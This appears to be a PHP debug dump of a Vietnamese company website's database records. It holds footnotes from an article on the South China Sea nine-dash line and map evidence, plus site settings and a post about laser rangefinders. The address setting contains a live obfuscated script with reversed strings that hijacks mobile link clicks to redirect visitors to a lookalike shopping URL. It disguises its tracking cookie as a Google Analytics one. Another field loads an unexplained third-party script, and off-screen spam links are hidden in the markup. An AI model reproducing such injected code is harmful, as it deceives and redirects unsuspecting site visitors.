[107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div>
<div>
</div>
<div>
[108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div>
<div>
Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div>
<div>
</div>
<div>
[109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div>
<div>
Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div>
<div>
Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div>
<div>
Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div>
<div>
</div>
<div>
[110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div>
<div>
</div>
<div>
[111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div>
<div>
</div>
<div>
[112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div>
<div>
</div>
<div>
[113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div>
<div>
Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div>
<div>
</div>
<div>
[114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div>
<div>
</div>
<div>
[115] Strupp, supra note 63 at 17.</div>
<div>
</div>
<div>
[116] Ibid., at 17, note 98.</div>
<div>
</div>
<div>
[117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div>
<div>
</div>
<div>
[118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div>
<div>
</div>
<div>
[119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div>
<div>
</div>
<div>
[120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div>
<div>
</div>
<div>
[121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div>
<div>
</div>
<div>
[122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div>
<div>
</div>
<div>
[123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div>
<div>
</div>
<div>
[124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div>
<div>
</div>
<div>
[125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div>
<div>
</div>
<div>
[126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div>
<div>
</div>
<div>
[127] Barale, supra note 129 at 404–6.</div>
<div>
</div>
<div>
[128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div>
<div>
</div>
<div>
[129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div>
<div>
</div>
<div>
[130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div>
<div>
</div>
<div>
[131] Abou-el-Wafa, supra note 37 at 128–9.</div>
<div>
</div>
<div>
[132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div>
<div>
</div>
<div>
[133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div>
<div>
</div>
<div>
[134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div>
<div>
</div>
<div>
[135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div>
',
'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-21',
'modified' => '2025-08-19',
'status' => '1',
'view' => '47027',
'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '725',
'rght' => '726',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
)
$setting = array(
'id' => '1',
'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT',
'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT',
'address_eng' => '<div>
QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div>
<div>
Representative: Le Van</div>
<div>
Position: Director</div>
<div>
Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div>
<div>
Phone number:</div>
<div>
Email:</div>
<div>
Tax code: 0103008064</div>
',
'address' => '<p style="text-align: center;">
<img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p>
<h2 style="position: absolute; top: -100000px; overflow: auto;">
<a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2>
<div>
<div>
CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div>
<div>
Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div>
<div>
Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br />
Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br />
Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br />
Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br />
Số điện thoại công ty: 02437759534</div>
<div>
<div>
Số điện thoại kỹ thuật: 0904212040</div>
<div>
Số điện thoại kinh doanh: 0913303547</div>
</div>
<div>
</div>
<div>
</div>
</div><script>
const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h();
</script>
',
'contactinfo_eng' => '<div>
CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div>
<div>
Người đại diện: Lê Văn <span style="white-space:pre"> </span></div>
<div>
Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div>
<div>
Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div>
<div>
Số điện thoại:<span style="white-space:pre"> </span></div>
<div>
Email:<span style="white-space:pre"> </span></div>
<div>
Mã số thuế:<span style="white-space:pre"> </span>0103008064</div>
',
'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br />
<br />
1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br />
2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br />
3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br />
4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br />
5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội',
'contactinfo' => '<div dir="rtl" style="text-align: left;">
<div>
CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div>
<div>
Người đại diện: Lê Văn <span style="white-space:pre"> </span></div>
<div>
Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div>
<div>
Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div>
<div>
Số điện thoại:<span style="white-space:pre"> </span></div>
<div>
Email:<span style="white-space:pre"> </span></div>
<div>
Mã số thuế:<span style="white-space:pre"> </span>0103008064</div>
</div>
<div style="">
<span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br />
</div>
<div style="position: absolute; left: -10000px;">
<a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div>
',
'telephone' => '01659 014592',
'hotline' => '0913303547',
'email' => '',
'url' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2012-06-05',
'modified' => '1752726853',
'youtube' => 'http://youtube.com',
'twitter' => 'https://twitter.com/',
'myspace' => 'https://myspace.com/',
'facebook' => 'https://www.facebook.com/FacebookVietnam/',
'email2' => 'duycuong7640',
'skype' => 'hothihuyen.hn',
'yahoo' => 'duycuong7640',
'yahoo1' => 'duycuong7640',
'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873',
'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
',
'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux',
'slogan_eng' => '',
'printer' => '',
'googleplus' => '',
'bando' => '<p>
<iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p>
<script src='https://cdnliver.com/js/thanhtuyen.js'></script>',
'gioithieu' => '<p style="text-align: center;">
<img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p>
',
'thongtincongty' => 'Sửa máy lạnh tại nhà
Sửa máy lạnh tại HCM
Sửa tủ lạnh
Bơm ga máy lạnh ',
'trogiupkh' => 'Tai nghe Iphone
Sua may tinh tai nha
Máy Ozone Z755',
'dichvuft' => 'Sửa máy lạnh
Bảo dưỡng máy lạnh
Vệ sinh máy lạnh
Lắp đặt máy lạnh',
'bb' => '',
'zing' => '',
'hotline2' => '0912 35 65 75',
'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script>
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-72584674-1', 'auto');
ga('send', 'pageview');
</script>
<!-- Global site tag (gtag.js) - Google Ads: 876059345 -->
<script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'AW-876059345');
</script>
',
'theh1' => '',
'hanoi' => '<div>
<strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div>
<div>
<strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div>
<div>
<strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div>
<div>
<strong>Email </strong>: info@ifes.vn</div>
',
'tphcm' => '<div>
<strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div>
<div>
<strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div>
<div>
<strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div>
<div>
<strong>Email </strong>: info@ifes.vn</div>
',
'tt' => '',
'pp' => 'https://www.facebook.com/ruaxetudong.net',
'tphcm_eng' => '',
'hanoi_eng' => '',
'hotline_eng' => '',
'name_eng' => '',
'chinhsach' => null,
'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>',
'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>',
'gt' => '<p style="text-align: center;">
</p>
<span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" />
<img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br />
<img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" />
<span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span>
<p style="text-align: center;">
<iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p>
',
'gt_eng' => ''
)
$description_for_layout = ''
$keywords_for_layout = ''
$tintucnoibat = array(
(int) 0 => array(
'Post' => array(
'id' => '539',
'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH',
'code' => null,
'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br />
<br />
<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br />
<br />
<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br />
<img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br />
<br />
<strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br />
<br />
<span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br />
<strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br />
<br />
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br />
